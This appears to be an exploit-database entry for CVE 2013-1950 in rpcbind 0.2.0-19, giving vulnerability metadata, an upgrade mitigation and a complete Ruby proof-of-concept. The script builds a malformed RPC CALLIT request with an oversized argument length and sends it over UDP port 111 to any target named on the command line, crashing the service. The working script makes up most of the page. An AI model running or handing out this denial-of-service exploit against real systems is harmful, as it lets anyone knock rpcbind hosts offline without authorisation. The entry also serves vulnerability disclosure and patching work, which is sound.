header-logo
Suggest Exploit
vendor:
rpcbind
by:
Sean Verity
7,8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: rpcbind
Affected Version From: rpcbind-0.2.0-19
Affected Version To: rpcbind-0.2.0-19
Patch Exists: YES
Related CWE: CVE 2013-1950
CPE: a:linux:rpcbind:0.2.0-19
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Fedora 17, CentOS 6.3
2013

rpcbind (CALLIT Procedure) UDP Crash PoC

rpcbind can be crashed by setting the argument length value > 8944 in an RPC CALLIT procedure request over UDP.

Mitigation:

Upgrade to the latest version of rpcbind
Source

Exploit-DB raw data:

#!/usr/bin/ruby
#
#	rpcbind_udp_crash_poc.rb
#	07/15/2013
#	Sean Verity <veritysr1980 [at] gmail.com>
#	CVE 2013-1950
#
#	rpcbind (CALLIT Procedure) UDP Crash PoC
#	Affected Software Package: rpcbind-0.2.0-19
#
#	Tested on: 
#	Fedora 17 (3.9.8-100.fc17.x86_64 #1 SMP) 
#	CentOS 6.3 Final (2.6.32-279.22.1.el6.x86_64 #1 SMP)
#
#	rpcbind can be crashed by setting the argument length 
#	value > 8944 in an RPC CALLIT procedure request over UDP.
#

require 'socket'

def usage
	abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n"
end

if ARGV.length == 1
	pkt = [rand(2**32)].pack('N')	# XID
	pkt << [0].pack('N')			# Message Type: CALL (0)
	pkt << [2].pack('N')			# RPC Version: 2
	pkt << [100000].pack('N')		# Program: Portmap (100000)
	pkt << [2].pack('N')			# Program Version: 2
	pkt << [5].pack('N')			# Procedure: CALLIT (5)
	pkt << [0].pack('N')			# Credentials Flavor: AUTH_NULL (0)
	pkt << [0].pack('N')			# Length: 0
	pkt << [0].pack('N')			# Credentials Verifier: AUTH_NULL (0)
	pkt << [0].pack('N')			# Length: 0
	pkt << [0].pack('N')			# Program: Unknown (0) 
	pkt << [1].pack('N')			# Version: 1
	pkt << [1].pack('N')			# Procedure: 1
	pkt << [8945].pack('N')			# Argument Length
	pkt << "crash"					# Arguments

	s = UDPSocket.new
	s.send(pkt, 0, ARGV[0], 111)
else
	usage
end